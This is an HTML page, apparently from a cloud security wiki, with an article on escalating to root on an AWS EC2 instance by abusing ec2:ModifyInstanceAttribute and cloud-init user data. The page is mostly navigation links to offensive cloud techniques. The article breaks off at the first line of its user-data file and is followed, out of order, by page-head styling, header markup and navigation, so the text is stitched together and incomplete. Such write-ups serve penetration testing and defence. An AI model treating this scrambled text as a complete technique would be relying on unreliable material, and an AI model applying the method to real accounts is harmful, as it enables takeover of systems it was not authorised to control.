href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#ec2modifyinstanceattribute class=md-nav__link> <span class=md-ellipsis> ec2:ModifyInstanceAttribute </span> </a> </li> <li class=md-nav__item> <a href=#leverage-scripts-in-s3 class=md-nav__link> <span class=md-ellipsis> Leverage scripts in S3 </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/local_ec2_priv_esc_through_user_data.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>EC2 Privilege Escalation Through User Data</h1> <p>If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.</p> <h2 id=ec2modifyinstanceattribute>ec2:ModifyInstanceAttribute<a class=headerlink href=#ec2modifyinstanceattribute title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-instance-attribute.html>ec2:ModifyInstanceAttribute</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 20v2.97h-2V20h-3v-2h3v-3h2v3h3v2zM12 1l9 4v6c0 .9-.1 1.78-.29 2.65A5.8 5.8 0 0 0 18 13a6 6 0 0 0-6 6c0 1.36.45 2.62 1.22 3.62L12 23c-5.16-1.26-9-6.45-9-12V5z"/></svg></span> <strong>Recommended but not Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/start-instances.html>ec2:StartInstances</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/start-instances.html>ec2:DescribeInstances</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/stop-instances.html>ec2:StopInstances</a></li> </ul> </li> </ul> </div> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://github.com/dagrz/aws_pwn/blob/master/elevation/bouncy_bouncy_cloudy_cloud.py>aws_pwn:elevation</a> by <a href=https://twitter.com/dagrz>Daniel Grzelak</a></p> </li> </ul> </div> <p>If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.</p> <p>Usually, user data scripts are only run the first time the instance is started, however this can be changed using <a href=https://aws.amazon.com/premiumsupport/knowledge-center/execute-user-data-ec2/ >cloud-init</a> to run every time the instance restarts.</p> <p>To do this, first create a file in the following format.</p> <div class=highlight><pre><span></span><code>Content-Type: multipart/mixed; boundary=&quot;//&quot;
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#ec2modifyinstanceattribute class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item 